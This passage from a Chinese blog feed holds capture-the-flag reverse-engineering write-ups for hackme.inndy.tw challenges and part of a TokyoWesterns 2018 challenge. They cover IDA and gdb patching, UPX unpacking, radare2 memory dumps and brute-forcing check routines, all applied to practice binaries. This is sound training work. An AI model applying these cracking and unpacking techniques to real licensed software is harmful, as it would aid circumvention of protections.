z.append(l)</span><br></pre></td></tr></table></figure><p>既然得到了源码那就直接把check输入的部分注释掉跑一遍就好啦。<br><img src="https://s1.ax1x.com/2018/10/08/iJNMX6.png" alt="pyyy_flag"></p><h2 id="0x05-accumulator"><a href="#0x05-accumulator" class="headerlink" title="0x05 accumulator"></a>0x05 accumulator</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>accumulator</td><td>120</td><td>27</td><td>Reverse this for the flag</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/accmulater_solved                                    </span><br><span class="line">▶ file accumulator</span><br><span class="line">accumulator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d56ade110b7625b5a335ae02133d7204e4e1287f, stripped</span><br></pre></td></tr></table></figure><p><strong>main</strong>函数的关键代码如下</p><p><img src="https://s1.ax1x.com/2018/10/08/iJUSED.png" alt="acc_main"></p><p>流程就是输入的字符串经过<strong>SHA512</strong>加密之后进入函数<code>sub_4008C0</code>进行check，<strong>v8</strong>就是输入，<strong>v3</strong>是输入字符串的长度，<strong>v6</strong>是加密之后的结果。</p><p><strong>sub_4008C0</strong>函数的代码如下</p><p><img src="https://s1.ax1x.com/2018/10/08/iJaioF.md.png" alt="acc_sub"></p><p>逻辑很简单，先比较inputs的第一位和dword_601080的某位比较，然后inputs的第二位与前一位相加与dword_601080的后一位比较，例子如下。</p><blockquote><p>inputs[0] == dword_601080[0]<br>inputs[1] + inputs[0] == dword_601080[1]<br>inputs[2] + inputs[1] + inputs[0] == dword_601080[2]<br>那么可以得到<br>inputs[0] == dword_601080[0]<br>inputs[1] == dword_601080[1] - dword_601080[0]<br>inputs[2] == dword_601080[2] - dword_601080[1]</p></blockquote><p>逻辑理清之后脚本就很好写了，这里我用<strong>IDAPython</strong>来提取<code>dword_601080</code>的数据,idapython脚本如下。</p><blockquote><p>一个小trick: IDA里shift+F2进入Execute script界面</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">from idaapi import *</span><br><span class="line"></span><br><span class="line">addr = 0x601080</span><br><span class="line">data = []</span><br><span class="line">for i in range(198):</span><br><span class="line">    data.append( Dword( addr + i*4 ) )</span><br><span class="line">print data</span><br></pre></td></tr></table></figure><p>脚本及结果如下<br><img src="https://s1.ax1x.com/2018/10/08/iJa4kF.png" alt="acc_flag"></p><h2 id="0x06-GCCC-unfinished"><a href="#0x06-GCCC-unfinished" class="headerlink" title="0x06 GCCC(unfinished)"></a>0x06 GCCC(unfinished)</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>GCCC</td><td>140</td><td>33</td><td>Maybe you should try some z3 magic.</td></tr></tbody></table><p>首先<code>file</code>一下，是<code>.NET</code>编译的。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/GCCC_solved                                          </span><br><span class="line">▶ file gccc.exe </span><br><span class="line">gccc.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows</span><br></pre></td></tr></table></figure><h2 id="0x07-ccc"><a href="#0x07-ccc" class="headerlink" title="0x07 ccc"></a>0x07 ccc</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>ccc</td><td>150</td><td>28</td><td>ccc cc</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/ccc_solved                                          </span><br><span class="line">▶ file ccc     </span><br><span class="line">ccc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c367c39587411d6c797087347c6226429cc70f3a, not stripped</span><br></pre></td></tr></table></figure><p>用32位ida打开，<strong>main函数</strong>伪代码如下</p><p><img src="https://s1.ax1x.com/2018/10/09/iYAlfH.png" alt="ccc_main"></p><p>可以看到程序首先读入一个字符串<code>buf</code>，若函数<code>verify</code>返回不为0则输出<code>Good</code>。</p><p><strong>verify函数</strong>的伪代码如下</p><p><img src="https://s1.ax1x.com/2018/10/09/iYAG6I.png" alt="ccc_verify"></p><p>函数首先检查输入长度是否为<code>0x2A</code>，若符合则进行<code>14</code>轮<code>crc32</code>加密验证，每轮验证<strong>三个字符</strong>。<br>这里我先用<code>gdb</code>验证了程序中的<code>crc32</code>函数是不是正常的<code>crc32</code>加密。</p><p><img src="https://s1.ax1x.com/2018/10/09/iYAU78.png" alt="ccc_gdb"></p><p>如上图所示，<code>rax</code>是程序用于验证的数据，<code>rcx</code>是输入的<code>FLAG{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}</code>的前三位也就是<code>FLA</code>经过程序中<code>crc32</code>函数加密的结果。可以看到<code>rcx = 0xd641596f</code>。<br>而用python的<code>binascii</code>库进行<code>crc32</code>加密的结果一样，如下图。</p><p><img src="https://s1.ax1x.com/2018/10/09/iYAhh4.png" alt="ccc_crc32_check"></p><p>说明程序的<code>crc32</code>是正常的。</p><p>那么直接每三位爆破即可，结果如下，可以看到三轮循环还是有点慢的，这里也可以用z3。</p><p><img src="https://s1.ax1x.com/2018/10/09/iYAHnx.png" alt="ccc_flag"></p><h2 id="0x08-bitx"><a href="#0x08-bitx" class="headerlink" title="0x08 bitx"></a>0x08 bitx</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>bitx</td><td>150</td><td>33</td><td>bits?</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/bitx_solved                                                         </span><br><span class="line">▶ file bitx </span><br><span class="line">bitx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a6471e725036a40fc7334bc4cd1815b746d37c3c, not stripped</span><br></pre></td></tr></table></figure><p>用32位ida打开，<strong>main函数</strong>伪代码如下</p><p><img src="https://s1.ax1x.com/2018/10/09/iYuSgg.png" alt="bitx_main"></p><p>只需通过<code>verify</code>函数即可。</p><p><strong>verify函数</strong>伪代码如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">signed int __cdecl verify(int a1)</span><br><span class="line">&#123;</span><br><span class="line">  int i; // [esp+Ch] [ebp-4h]</span><br><span class="line"></span><br><span class="line">  for ( i = 0; *(_BYTE *)(i + a1) &amp;&amp; *(_BYTE *)(i + 0x804A040); ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    if ( *(_BYTE *)(i + a1) + 9 != ((unsigned __int8)((*(_BYTE *)(i + 0x804A040) &amp; 0xAA) &gt;&gt; 1) | (unsigned __int8)(2 * (*(_BYTE *)(i + 0x804A040) &amp; 0x55))) )</span><br><span class="line">      return 0;</span><br><span class="line">  &#125;</span><br><span class="line">  return 1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>逻辑很简单，就是将输入的每一位与一个已知的数据比较。<br>结果如下<br><img src="https://s1.ax1x.com/2018/10/09/iYuE5V.png" alt="bitx_flag"></p><h2 id="0x09-2018-rev"><a href="#0x09-2018-rev" class="headerlink" title="0x09 2018-rev"></a>0x09 2018-rev</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>2018-rev</td><td>150</td><td>14</td><td>Happy New Year 2018! Can you execute this binary on the right time with the right argv?</td></tr></tbody></table><p>这题还是挺好玩的，首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/2018_rev_solved                                     ⍉</span><br><span class="line">▶ file 2018.rev</span><br><span class="line">2018.rev: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=8acc8b845b7cba4e5a40ae793b154eaf1316799a, stripped</span><br></pre></td></tr></table></figure><p>运行一下发现报错退出了<br><img src="https://s1.ax1x.com/2018/10/10/iYIMyq.md.png" alt="2018_run"></p><p>用ida64位打开，定位<code>argc == 2018 &amp;&amp; argv[0][0] == 1 &amp;&amp; envp[0][0] == 1</code>这个字符串。<br>如下图，可以看到这个判断条件是<code>argc == 2018</code>也就是命令参数的个数为2018, <code>argv[0][0] == 1</code>也就是第一个命令参数的第一个字符值为1，而<code>envp</code>是环境变量。</p><p><img src="https://s1.ax1x.com/2018/10/10/iYIUp9.png" alt="2018_argc"></p><p>既然这是在本地跑那就用gdb调试一波，在对应的check处将对应的值改一下就能通过check了。</p><p>判断语句地址如下图。</p><p><img src="https://s1.ax1x.com/2018/10/10/iYopAU.png" alt="2018_check_addr"></p><p>首先将断点下在<code>0x400636</code>，<code>run</code>一下，结果如下。</p><p><img src="https://s1.ax1x.com/2018/10/10/iYoAj1.md.png" alt="2018_gdb_first_check"></p><p>可以看到这时<code>r13d == 1</code>，输入<code>set $r13d = 0x7e2</code>将其值改为期望值，再<code>next</code>，这个判断就顺利通过了。</p><p>接着来到第二个check，如下图。<br><img src="https://s1.ax1x.com/2018/10/10/iYHpAf.png" alt="2018_gdb_second_check"></p><p>照猫画虎，输入<code>set *0x7fffffffe65b = 1</code>，这个check也通过了。<br>第三个check这里不再赘述。</p><p>通过这个判断条件后返回ida看看代码会发现还有一个check，如下.<br><img src="https://s1.ax1x.com/2018/10/10/iYbnsA.md.png" alt="2018_check_time"></p><p>根据字符串提示可以知道意思是<strong>运行这个程序时系统时间应该为<code>2018/1/1 00:00:00 (UTC)</code></strong>。<br>这个用<code>shell</code>写一个小脚本循环设置一下时间即可。</p><p>通过check时间的条件后进入函数<code>sub_400B60</code>，这里在gdb直接就能看到flag了。</p><p><img src="https://s1.ax1x.com/2018/10/10/iYbdZq.png" alt="2018_flag"></p><h2 id="0x0A-what-the-hell"><a href="#0x0A-what-the-hell" class="headerlink" title="0x0A what-the-hell"></a>0x0A what-the-hell</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>what-the-hell</td><td>190</td><td>20</td><td>Tips: <code>modinv</code>, Something is slow there in my code, make it faster.</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/what_the_hell_solved                                ⍉</span><br><span class="line">▶ file what-the-hell</span><br><span class="line">what-the-hell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f7f495d56a0615d6d2fd448c8e024af978c1d51, not stripped</span><br></pre></td></tr></table></figure><p>用ida32位打开，<strong>main函</strong>数伪代码如下</p><p><img src="https://s1.ax1x.com/2018/10/10/iYhd6P.png" alt="what_main"></p><p>程序需要我们输入两个key，然后将这两个key和v7传入函数<code>decrypt_flag</code>，这个函数的伪代码如下。</p><p> <img src="https://s1.ax1x.com/2018/10/10/iYhBm8.md.png" alt="what_deflag"></p><p> 可以看到如果我们知道了<code>a1，a2，a3</code>，那么<code>flag</code>就出来了。<br> 细心一点的话会看到在左侧函数列表中还有几个重要的函数，如下图。</p><p> <img src="https://s1.ax1x.com/2018/10/10/iYhykQ.md.png" alt="what_func"></p><p>可以看到<code>calc_key3</code>函数有关于a1，a2的四个约束条件，那么直接用z3跑一发。然后再通过<code>what</code>函数找到<code>key3</code>，结果如下。</p><p><img src="https://s1.ax1x.com/2018/10/10/iYhz7D.png" alt="what_key"></p><p>可以看到有两组结果，但是第一组找不到<code>key3</code>，故舍弃。</p><p>得到三个key之后就回到<code>decrypt_flag</code>函数，把解密过程实现一遍就可以了，需要注意的是三个key的值需一直小于<code>0xFFFFFFFF</code>(比如说一开始的key3，给这坑了一下)。</p><h2 id="0x0B-unpackme"><a href="#0x0B-unpackme" class="headerlink" title="0x0B unpackme"></a>0x0B unpackme</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>unpackme</td><td>200</td><td>16</td><td>Let’s learning some Windows stuff!<br>Here’s a packed Windows executable binary, try to unpack and reverse it!</td></tr></tbody></table><p>首先<code>file</code>一下，看起来很正常，但是结合题目这应该有upx壳的。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">▶ file unpackme.exe </span><br><span class="line">unpackme.exe: PE32 executable (GUI) Intel 80386, for MS Windows</span><br></pre></td></tr></table></figure><p>用<code>strings</code>看下<br><img src="https://s1.ax1x.com/2018/10/21/iBajsO.md.png" alt="unpack_strings"></p><p>左边是题目文件包含的字符串，右边是经过upx加壳的正常的exe。<br>可以看到题目给魔改了。。。<br>用010把upx壳的关键字符串改回来就能<code>upx -d</code>脱壳了，对应情况如下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">!The flag is not FLAG&#123;Hello,DOS section&#125; -&gt; !This program cannot be run in DOS mode.</span><br><span class="line">CTF0 -&gt; UPX0</span><br><span class="line">CTF1 -&gt; UPX1</span><br><span class="line">CTF2 -&gt; UPX2</span><br><span class="line">CTF? -&gt; UPX!</span><br></pre></td></tr></table></figure><p>脱壳之后想运行看看，发现报错。。。<br><img src="https://s1.ax1x.com/2018/10/21/iBBRk4.png" alt="unpack_runError"></p><p>用ida打开,关键代码如下<br><img src="https://s1.ax1x.com/2018/10/21/iBBsXV.png" alt="unpack_main"><br><code>Text</code>就是<code>flag</code>，经过<code>v11 ^ byte_410A80[v12] ^ pbData[v12 &amp; 0xF]</code>得到，其中<code>byte_410A80</code>和<code>pbData</code>都知道，<code>v11</code>是个未知额定值，那么爆破即可。</p><p><img src="https://s1.ax1x.com/2018/10/21/iBDV9s.png" alt="unpack_flag"></p><h2 id="0x0C-mov-unfinished"><a href="#0x0C-mov-unfinished" class="headerlink" title="0x0C mov(unfinished)"></a>0x0C mov(unfinished)</h2><h2 id="0x0D-a-maze"><a href="#0x0D-a-maze" class="headerlink" title="0x0D a-maze"></a>0x0D a-maze</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>a-maze</td><td>200</td><td>8</td><td>Escape from my a-maze</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/a-maze_solved                                                       </span><br><span class="line">▶ file maze </span><br><span class="line">maze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1c3d4e20d66f84057c3937687eab478c0e5539d, stripped</span><br></pre></td></tr></table></figure><p>用ida64位打开，<strong>main函数</strong>伪代码如下</p><p><img src="https://s1.ax1x.com/2018/09/20/imoqhD.png" alt="maze_main"></p><p>可以看到<code>argv[1]</code>实际上就是题目给的map文件，<code>argv[2]</code>就是我们的输入。而<code>qword_601088</code>即map文件的数据。</p><p><strong>sub_400890函数</strong>伪代码如下</p><p><img src="https://s1.ax1x.com/2018/09/20/imTA3Q.md.png" alt="maze_sub"></p><p>LODWORD那我觉得是ida反编译的错误，因为LODWORD(v2)本身就是一个表达式，无法赋值。。。这坑了我好久，其实结合汇编看就不会疑惑了。</p><p>这部分的汇编结合伪代码如下</p><p><img src="https://s1.ax1x.com/2018/09/20/imT1CF.png" alt="maze_sub_ass"></p><p>可以看到最后赋值的时候是以dword类型赋值。</p><p>接下来分析代码，当v2为<code>0xffffffff</code>时循环退出，输出<code>You got it.</code>，即输入正确。于是就爆破这时的<code>v2</code>和<code>*a1</code>，得到上一次的v2，如此循环爆破直到<code>v2 == 0</code>即可。</p><p>结果如下, 脚本还是有点慢的。。。<br><img src="https://s1.ax1x.com/2018/10/09/iJIPjx.png" alt="maze_flag"></p><h2 id="0x0E-esrever-mv-unsolved"><a href="#0x0E-esrever-mv-unsolved" class="headerlink" title="0x0E esrever-mv(unsolved)"></a>0x0E esrever-mv(unsolved)</h2><h2 id="0x0F-termvis-unfinished"><a href="#0x0F-termvis-unfinished" class="headerlink" title="0x0F termvis(unfinished)"></a>0x0F termvis(unfinished)</h2><h2 id="0x10-rc87cipher"><a href="#0x10-rc87cipher" class="headerlink" title="0x10 rc87cipher"></a>0x10 rc87cipher</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>rc87cipher</td><td>500</td><td>5</td><td>Tips: password length is 40</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/rc87cipher                                                                                                                     </span><br><span class="line">▶ file rc87 </span><br><span class="line">rc87: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped</span><br></pre></td></tr></table></figure><p>用ida64打开发现很奇怪，猜测经过upx压缩过了。</p><h3 id="第一种方法-修复upx壳-未成功"><a href="#第一种方法-修复upx壳-未成功" class="headerlink" title="第一种方法: 修复upx壳(未成功)"></a>第一种方法: 修复upx壳(未成功)</h3><p>结合前面unpackme也是upx魔改的情况，用010和一个正常经过upx压缩的64位elf程序进行比较会发现<code>UPX!</code>被<code>0xFFFFFFFF</code>填充，upx壳自带的的<code>copyright</code>也被<code>0xFF</code>替换了。将这两处改回去之后发现还是不对。拖到最后发现文件尾也被<code>0xFF</code>填充，但奇怪的是为什么会有这么多<code>0xFF</code>。</p><p>下图是题目的文件尾。</p><p><img src="https://s1.ax1x.com/2018/10/08/iJwVDx.png" alt="rc87_wrong"></p><p>下图是正常的upx压缩过的64位elf的文件尾。</p><p><img src="https://s1.ax1x.com/2018/10/08/iJwZb6.png" alt="rc87_right"></p><p>尝试用正常的文件尾替换,但还是无法成功执行<code>upx -d</code>,提示<code>compressed data violation</code>,就放弃了…</p><h3 id="第二种方法-用radare2把原本的数据dump出来"><a href="#第二种方法-用radare2把原本的数据dump出来" class="headerlink" title="第二种方法: 用radare2把原本的数据dump出来"></a>第二种方法: 用radare2把原本的数据dump出来</h3><blockquote><p><strong>参考视频</strong>: <a href="https://asciinema.org/a/bei8od5pxnihypp0j91o4ukj0" target="_blank" rel="noopener">https://asciinema.org/a/bei8od5pxnihypp0j91o4ukj0</a><br><strong>Install radare2</strong>: sudo apt-get install radare2</p></blockquote><p>视频中老外的例子是动态链接,而题目是静态链接,在找oep时使用如下命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">9dcs</span><br><span class="line">ds</span><br></pre></td></tr></table></figure><p>之后执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">s 0x400000;pfo elf64</span><br><span class="line">pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..</span><br></pre></td></tr></table></figure><p>会发现有两个<code>type = PT_LOAD</code>的数据块,如下图</p><p><img src="https://s1.ax1x.com/2018/10/09/iJIkDK.png" alt="rc87_dump"></p><p>将这俩按照视频的方法dump下来就能成功执行了,虽然<code>file</code>显示<code>missing section headers</code>.</p><p><img src="https://s1.ax1x.com/2018/10/09/iJH5SH.md.png" alt="rc87_dump"></p><p>拿到dump出来的可执行文件后分析一下程序逻辑。</p><p><strong>main函数</strong>关键代码如下，我把一些函数及变量名改成有意义的方便理解。<br><img src="https://s1.ax1x.com/2018/10/09/iJHIld.md.png" alt="rc87_dump_main"></p><p>main函数的流程就是如果输入的模式为<code>enc</code>即加密，则进入<code>encrypt</code>函数，否则如果是<code>dec</code>进入另一个函数，这个函数我没细看，但运行之后感觉<code>dec</code>没什么作用。</p><p><strong>encrypt函数</strong>关键代码如下</p><p><img src="https://s1.ax1x.com/2018/10/09/iJHqTf.md.png" alt="rc87_dump_encrypt"></p><p>首先通过函数<code>rand</code>生成<code>iv</code>。<br>然后进入函数<code>create_iv_sbox</code>，这个函数的作用就是先将<code>sbox</code>初始化为<code>0-255</code>，再根据<code>iv</code>的值对<code>sbox</code>进行打乱。并且会将<code>iv</code>写入<code>output</code>(前8个字节即为iv)。<br>生成<code>sbox</code>之后每次读取<code>input</code>的一个字节，进行一系列操作，得到加密后的结果并写入<code>output</code>。</p><p>大致清楚流程之后看看题目提供的文件，题目给了<code>flag.enc</code>，<code>rc87</code>以及<code>rc87.enc</code>。也就是说我们有了明文(rc87)和密文(rc87.enc), 那么就能以此逐位爆破<code>password</code>。</p><blockquote><p>在写脚本过程中发现可能会有不同的password对同一明文生成同一个密文，故需要用<code>dfs</code>将所有可能结果搜出来，提取有意义的即可。</p></blockquote><p>password结果如下，发现这就是flag。。。<br><img src="https://s1.ax1x.com/2018/10/09/iJb63Q.png" alt="rc87_dump_password"></p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ol><li><strong>linux-c-envp</strong>: <a href="https://blog.csdn.net/u011068702/article/details/54406328" target="_blank" rel="noopener">https://blog.csdn.net/u011068702/article/details/54406328</a></li><li><strong>charlie_heng-rc87cipher-wp</strong>: <a href="https://blog.csdn.net/charlie_heng/article/details/79225734" target="_blank" rel="noopener">https://blog.csdn.net/charlie_heng/article/details/79225734</a></li><li><strong>unpacking UPX on 64-bit Linux</strong>: <a href="https://asciinema.org/a/bei8od5pxnihypp0j91o4ukj0" target="_blank" rel="noopener">https://asciinema.org/a/bei8od5pxnihypp0j91o4ukj0</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;这里记录一下&lt;a href=&quot;https://hackme.inndy.tw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;hackme.inndy.tw&lt;/a&gt;至今(2018.10.8)所有reverse类题目的解题思路，遵循站主的规则不放flag。&lt;br&gt;所有题目及脚本都在&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/hackme.inndy.tw/re&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;我的github上&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://tva1.sinaimg.cn/large/007X8olVly1g8qodhe7khj30vn0gzaca.jpg&quot; alt=&quot;jietu&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Ollydbg" scheme="https://l1b0.fun/tags/Ollydbg/"/>
    
      <category term="Upx" scheme="https://l1b0.fun/tags/Upx/"/>
    
      <category term="Z3" scheme="https://l1b0.fun/tags/Z3/"/>
    
      <category term="hackme-inndy-tw" scheme="https://l1b0.fun/tags/hackme-inndy-tw/"/>
    
  </entry>
  
  <entry>
    <title>TokyoWesterns_CTF_2018-re_dec_dec_dec-wp</title>
    <link href="https://l1b0.fun/60311/"/>
    <id>https://l1b0.fun/60311/</id>
    <published>2018-09-08T12:32:35.000Z</published>
    <updated>2019-09-23T03:13:36.385Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>最近在搞小学期的项目，没空写wp，这题是上周搞出来的，这里简单记录一下，可能有些细节忘了。。。</p><p>==&gt;<a href="https://github.com/L1B0/CTF/tree/master/TokyoWesterns%20CTF_4th_2018/re_dec_dec_dec" target="_blank" rel="noopener">题目地址</a>&lt;==</p></blockquote><h2 id="0x00-简单分析"><a href="#0x00-简单分析" class="headerlink" title="0x00 简单分析"></a>0x00 简单分析</h2><p>程序是64位ELF，先拖进IDA看下逻辑。</p><a id="more"></a><p><code>main</code>函数代码如下</p><p><img src="https://s1.ax1x.com/2018/09/08/iP4i7t.md.png" alt="img"></p><p>可以看到<code>a2[1]</code>实际上就是<code>argv[1]</code>，在程序中也就是我们输入的flag。将``a2[1]<code>复制给</code>dest<code>后，经过三轮加密，与</code>s2`进行明文比较。那么接下来分析三轮加密具体做了什么。</p><h2 id="0x01-函数sub-860"><a href="#0x01-函数sub-860" class="headerlink" title="0x01 函数sub_860"></a>0x01 函数sub_860</h2><p>看代码发现在开头有一串字符<code>ABCDEFG......</code>，并且是每三个字符变换成四个字符，猜测是<strong>base64</strong>。</p><p>用IDA动态调试验证一下(<a href="https://l1b0.github.io/2018/08/13/TJCTF-2018-bin-Writeup/" target="_blank" rel="noopener">关于如何用IDA动态调试ELF</a>)。</p><p>如下图，在函数<code>sub_860</code>执行之后，v6即第一轮加密的结果，并且其存在寄存器rax里。</p><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fv2c43ksuqj317m0fkq6j.jpg" alt="img"></p><p>查看rax的值如下</p><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fv2c68jothj30l5076myf.jpg" alt="img"></p><p>我输入的flag为123456789，其base64加密结果如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; import base64</span><br><span class="line">&gt;&gt;&gt; base64.b64encode(&quot;123456789&quot;)</span><br><span class="line">&apos;MTIzNDU2Nzg5&apos;</span><br></pre></td></tr></table></figure><p>可以看到与程序第一轮加密结果相同，于是函数sub_860即base64加密。</p><h2 id="0x02-函数sub-F59"><a href="#0x02-函数sub-F59" class="headerlink" title="0x02 函数sub_F59"></a>0x02 函数sub_F59</h2><h3 id="方法一："><a href="#方法一：" class="headerlink" title="方法一："></a>方法一：</h3><p>同样，继续调试，可以看到第二轮加密结果赋给了v7，而v7的内容存在了寄存器rax里，查看rax值如下。</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fv2ccnp6d6j30l807igmv.jpg" alt="img"></p><p>经验丰富的赛棍(比如说我m4x师傅)会直接看出这是<strong>rot13</strong>加密。</p><h3 id="方法二："><a href="#方法二：" class="headerlink" title="方法二："></a>方法二：</h3><p>但我没看出来233，我的解决办法是看这个函数的伪代码，发现只是一个简单的替换加密，那么直接逐位爆破即可。</p><h2 id="0x03-函数sub-BE7"><a href="#0x03-函数sub-BE7" class="headerlink" title="0x03 函数sub_BE7"></a>0x03 函数sub_BE7</h2><p>这个函数是题目里最复杂的加密，接下来逐行分析。</p><p>首先分析如下代码，v1表示上一轮加密结果的长度，其实从<code>v34 = malloc(4 * v1 / 3 + 1)</code>就可以猜出这轮加密也是明文每三个字符变换得到密文的四个加密字符，但还<strong>多了一个字节</strong>，这个字节非常<strong>关键</strong>。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">38 ：v1 = strlen(a1);</span><br><span class="line">39：v34 = malloc(4 * v1 / 3 + 1);</span><br></pre></td></tr></table></figure><p>接着往下会看到<code>for ( i = v1; i &gt; 45; i -= 45 )</code>，如果v1小于45不执行这个循环，由于我们不知道v1应该是多少，于是跳过这个循环往下看。</p><p>如下图，如果没执行上面的循环，<code>v26</code>即<code>v34</code>即密文的第一位，<code>i</code>即<code>v1</code> ，下面代码的含义就是将v1经过一个算式得到一个新的值放在密文的第一位，也就是说密文的第一位表示了v1（第二轮加密的密文）的长度。</p><p><img src="http://wx1.sinaimg.cn/mw690/0060lm7Tly1fv2cp94de0j30c205rweo.jpg" alt="img"></p><p>从最后<code>strcmp</code>可以跟踪到密文的内容为<code>@25-Q44E233=,&gt;E-M34=,,$LS5VEQ45)M2S-),7-$/3T</code>，第一位为<code>@</code>，值为64，逆推可以得到第二轮的密文长度为32。</p><p>知道了长度之后用z3即可爆破出第二轮的密文，然后就爆破第二轮的算法再解base64即可。</p><h2 id="0x04-脚本"><a href="#0x04-脚本" class="headerlink" title="0x04 脚本"></a>0x04 